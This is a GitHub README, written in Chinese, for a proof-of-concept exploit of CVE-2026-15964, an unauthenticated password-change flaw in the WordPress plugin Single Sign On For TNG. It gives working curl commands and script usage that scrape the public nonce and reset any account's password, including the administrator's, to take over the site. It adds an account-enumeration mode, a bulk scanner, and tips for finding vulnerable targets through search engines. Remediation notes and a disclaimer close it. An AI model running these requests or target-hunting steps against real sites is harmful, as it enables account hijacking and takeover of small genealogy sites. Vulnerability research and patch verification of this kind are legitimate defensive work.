Instructor-Admin/CVE-2026-15964-PoC

GitHub: Instructor-Admin/CVE-2026-15964-PoC

针对 WordPress 插件 Single Sign On For TNG 未验证密码修改漏洞(CVE-2026-15964)的 PoC 利用脚本与非破坏性批量检查工具。

Stars: 0 | Forks: 0

# CVE-2026-15964 - Single Sign On For TNG <= 2.0.0 POC **通过未验证的密码修改进行未经身份验证的特权提升** 存在于 WordPress 插件 **Single Sign On For TNG** 中。 | | | |---|---| | 严重程度 | **严重 (9.8)** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | CWE | CWE-620 (未验证的密码修改) | | 受影响版本 | 插件版本 **1.0.0 至 2.0.0** | | 修复版本 | **2.1.0** (发布于 2026-07-27) | | 发布日期 | 2026-08-01 | | 所需身份验证 | **无** (`wp_ajax_nopriv_ssoprocess_ajax`) | | 影响 | 修改**任何** WordPress 账户的密码,包括管理员 - 完全接管网站 | | 插件 | https://wordpress.org/plugins/single-sign-on-for-tng/ | ## TL;DR 任何未经身份验证的访问者都可以修改运行 2.0.0 或更早版本插件的网站上 任何账户的密码。只需两个 HTTP 请求: 1. GET 请求主页并从 `SSOPWDREQUIREMENT` JavaScript 对象中复制 nonce。 2. 将其 POST 到 `admin-ajax.php`,带上 `operation=setnewpassword`、受害者邮箱以及 新密码。 剩下的交由 WordPress 核心的 `reset_password()` 处理。无需 token,无需邮件 确认链接,也不进行任何权限检查。之后即可作为管理员登录。 ``` NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}") curl -sk -X POST https://target/wp-admin/admin-ajax.php \ -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x" # -> {"success":true} ``` ## 漏洞原理 ### 处理程序为未经身份验证的用户注册 在 `single-sign-on-for-tng.php` (v2.0.0) 中: ``` add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68 add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69 ``` `wp_ajax_nopriv_*` 意味着该处理程序在完全没有 session 的情况下也可以被访问。 ### 唯一的防护是该插件提供给每个访问者的 nonce `load_scripts()` 挂载在 `wp_enqueue_scripts` 上,因此在**每个**前端 页面,插件都会将以下内容打印到 HTML 中: ``` wp_localize_script('general_script','SSOPWDREQUIREMENT', array('passwordspec'=>PASSWORDSPEC, 'url'=>admin_url('admin-ajax.php'), 'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96 ``` 渲染结果为: ``` ``` 并且处理程序像这样验证它: ``` public function ssoprocess_ajax() { global $wpdb; check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104 ... ``` 问题在于:WordPress 通过 `wp_create_nonce($action)` 计算 nonce 时,使用了 `uid` 和 session token。对于**已登出**的访问者,这两者分别是 `0` 和一个 空字符串,这意味着**每个匿名访问者都会获得完全相同的 nonce**。 它只每 12 小时更新一次(即 nonce tick)。因此,插件为任何访问者打印的 nonce 对 攻击者同样有效——根本无需窃取任何机密,因为它本身就发布在页面上。 ### 接着就是毫无任何所有权证明的实际修改 ``` switch ($op) { case 'setnewpassword': if (!isset($post['email']) || !isset($post['password'])) { ... } $email = wp_unslash($post['email']); $user = get_user_by('email', $email); if ($user !== false) { reset_password($user, $post['password']); // line 120 ... wp_send_json_success(array('success'=>true)); } else wp_send_json_error(array('success'=>false)); break; ``` `reset_password()` 是一个 WordPress 核心函数。它会设置新的密码哈希值,让 受害者登出所有其他 session,并触发 `password_reset` / `after_password_reset` 动作。此处调用该函数时,没有任何证据表明 调用者是该账户的所有者。 另外两个值得了解的点: * **此路径上没有服务器端的密码强度检查。** 插件的 `MINIMUM_PASSWORD_LENGTH` / `PASSWORDSPEC` 规则仅在针对 Forminator 表单的 `validate_form()` 中执行,从未应用于此处。任何密码都会被接受。 * **账户枚举。** `{"success":true}` 和 `{"success":false}` 会告诉你 某个邮箱是否已注册。检查工具的 `--enum-only` 模式利用了这一点。 * **同一函数中的额外漏洞:** `operation=set_tzoffset` 会在未经身份验证的情况下调用 `update_option('localtzoffset', $post['timezoneoffset'])`。 虽然不能直接用于 RCE,但这属于未经身份验证的选项写入, 值得在报告中提及。 ## 2.1.0 版本中的改动 对比 2.0.0 和 2.1.0 的差异让修复方案一目了然(并证实了该漏洞): ``` case 'setnewpassword': + $timeout = intval($post['timeout']); + if (time() > $timeout) { + // clears custom_recovery_token / _expiration / _nonce user meta + wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...')); + return; + } $email = wp_unslash($post['email']); $user = get_user_by('email',$email); if ($user !== false) { reset_password($user,$post['password']); ``` 此外,在 `newpasswordform()` 中: ``` + if (empty($_GET['uid'])) + return ... "An unexpected error occurred." ... + $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid']))); + + // The nonce is checked here + if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false) + return ... "This recovery link is no longer valid." ... ``` 因此在 2.1.0 中,流程变为:真实的恢复请求会在用户 meta 中存储针对单个用户的 `custom_recovery_token` + `custom_recovery_nonce`,恢复 链接会携带用户 ID,表单会验证这两者,并且一旦恢复时间窗口(`timeout`)过期,AJAX 处理程序就会拒绝 执行。无法生成有效恢复记录的攻击者,再也无法驱动 `setnewpassword` 了。 ## 复现(手动) **第 1 步 - 抓取 nonce** ``` curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+" ``` **第 2 步 - 修改密码** ``` curl -sk -X POST https://target/wp-admin/admin-ajax.php \ -H "X-Requested-With: XMLHttpRequest" \ -d "action=ssoprocess_ajax&nonce=&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x" ``` 在易受攻击的安装环境中的预期响应:`{"success":true}` **第 3 步 - 登录** ``` curl -sk -X POST https://target/wp-login.php \ -d "log=admin@victim.tld&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" ``` ## PoC: `CVE-2026-15964.py` 针对单个站点的 exploit。包含非破坏性模式。 ``` # one-shot: 抓取 nonce + 更改管理员密码 python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' # 仅抓取 nonce python3 CVE-2026-15964.py -u https://target --scrape-only # 复用你已有的 nonce python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' -n 9c0de6ab12 # 账户存在性 oracle (未设置密码) python3 CVE-2026-15964.py -u https://target -e admin@victim.tld --enum-only # 完全被动: plugin 是否已安装?(仅 GET) python3 CVE-2026-15964.py -u https://target --check ``` ## 检查工具: `CVE-2026-15964-checker.py` 用于您自己的站点列表的批量扫描器。**设计上为非破坏性**—— 它绝不会修改密码。 它如何对每个站点进行分类: 1. **HTML 指纹** - 主页中的 `SSOPWDREQUIREMENT` 对象或 `/wp-content/plugins/single-sign-on-for-tng/` 资源路径。 2. **版本** - `readme.txt` 中的 `Stable tag:` 行。`<= 2.0.0` 为易受攻击版本, `>= 2.1.0` 为已修补版本。这是该 CVE 的权威说明。 3. **行为探测** (`--probe`,仅在无法读取版本时触发) - 使用一个 **不存在**的邮箱发送 `operation=setnewpassword` 请求。2.0.0 的安装环境 会回复不带任何错误信息的 `{"success":false}`;而 2.1.0 的安装环境 会回复带有“提交新密码的时间已过期”的提示信息。由于不会发送真实的邮件, 发送真实邮箱实际上会导致密码被重置。 ``` # 扫描包含 URL 的文件, 使用安全探测和 20 个 workers python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv # 或者直接处理少量 URL python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com ``` 示例输出: ``` URL VERDICT VER NONCE DETAIL -------------------------------------------------------------------------------------------------------------- https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0 https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0 https://plain-wp.example.com PLUGIN_NOT_FOUND - - Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1 ``` 判定结果:`VULNERABLE`(易受攻击) / `PATCHED`(已修补) / `PLUGIN_NOT_FOUND`(未找到插件) / `NOT_WORDPRESS`(非 WordPress) / `UNKNOWN`(未知) / `ERROR`(错误)。`UNKNOWN` 通常意味着存在 WAF、激进的 CDN 缓存或 该站点屏蔽了 readme——请手动检查这些站点。 ## 在本地测试工具 `tests/mock_server.py` 模拟了六种情况(基于版本判定易受攻击、 基于版本判定已修补、基于探测判定易受攻击、基于探测判定已修补、未安装插件的 WordPress、 非 WordPress)。这是在将其指向任何真实环境之前, 验证检查工具逻辑的方式: ``` # terminal 1 python3 tests/mock_server.py 8081 vuln_readme # terminal 2 python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe # -> VULNERABLE ``` `pip install -r requirements.txt` 会为您安装唯一的依赖项 (`requests`)。 ## 实地说明 提供真实的背景,因为这会影响您的使用方式。 * 此插件针对的是 **TNG**(The Next Generation of Genealogy Sitebuilding), 即业余家谱网站。这是一个非常小的生态系统:在 wordpress.org 上整个生命周期的下载量大约只有 1,600 次, 活跃安装量被隐藏(< 10),首次发布于 2024 年 10 月。 * 由于 2.1.0 版本直到 2026-07-27 才发布,绝大多数 下载的都是存在漏洞的版本。如果您发现了安装此插件的网站,那它极有可能 仍然存在漏洞。 * 发现目标是难点。该插件在 Shodan 的索引中 没有留下任何痕迹(我检查了所有能想到的指纹——结果为零),甚至 对 Shodan 返回的前 1,000 个 WordPress 主机进行指纹识别也没有发现 任何安装实例。您最好的信息来源是:Google 搜索 `inurl:"single-sign-on-for-tng"`, 在对完整页面源码进行索引的搜索引擎(PublicWWW, Censys, FOFA)中搜索 `"SSOPWDREQUIREMENT"`,以及 TNG 社区本身 (tngsitebuilding.com,家谱论坛)。 * 在真实的家谱网站上,检查工具的 `UNKNOWN` 桶通常会比较大—— 因为许多网站运行在激进的缓存机制背后,或者屏蔽了 `readme.txt`。不要将其视为“没有漏洞”;请手动检查。 ## 检测与补救 * 更新至 **2.1.0**(或彻底移除该插件)。 * WAF 规则:拒绝来自未通过身份验证 session 的 `action=ssoprocess_ajax` 的 `admin-ajax.php` POST 请求;对来自匿名源的 `setnewpassword` 操作进行 报警。 * 监控 `wp_users.user_pass` 的哈希值更改以及 `password_reset` / `after_password_reset` 动作;密切关注在密码更改后 立即发生的 admin 登录行为。 * 将 `ssoajaxnonce` 视为公开信息——因为事实一直如此。 ## 参考 * https://www.cve.org/CVERecord?id=CVE-2026-15964 * https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964 * https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve * 易受攻击的源码 (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php * 已修补的源码 (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php * https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng ## 免责声明 本仓库仅用于**授权的安全测试和教育目的**。您必须对 自己的行为负责。请勿在您不拥有或未获得明确书面测试许可的 系统上运行这些工具。在大多数司法管辖区,未经授权访问计算机系统 均构成犯罪。 ![](https://komarev.com/ghpvc/?username=Instructor-Admin&repo=CVE-2026-15964-PoC&style=flat-square&color=brightgreen)
标签:Maven, PoC, StruQ, WordPress, 协议分析, 安全漏洞, 暴力破解, 权限提升, 漏洞验证, 逆向工具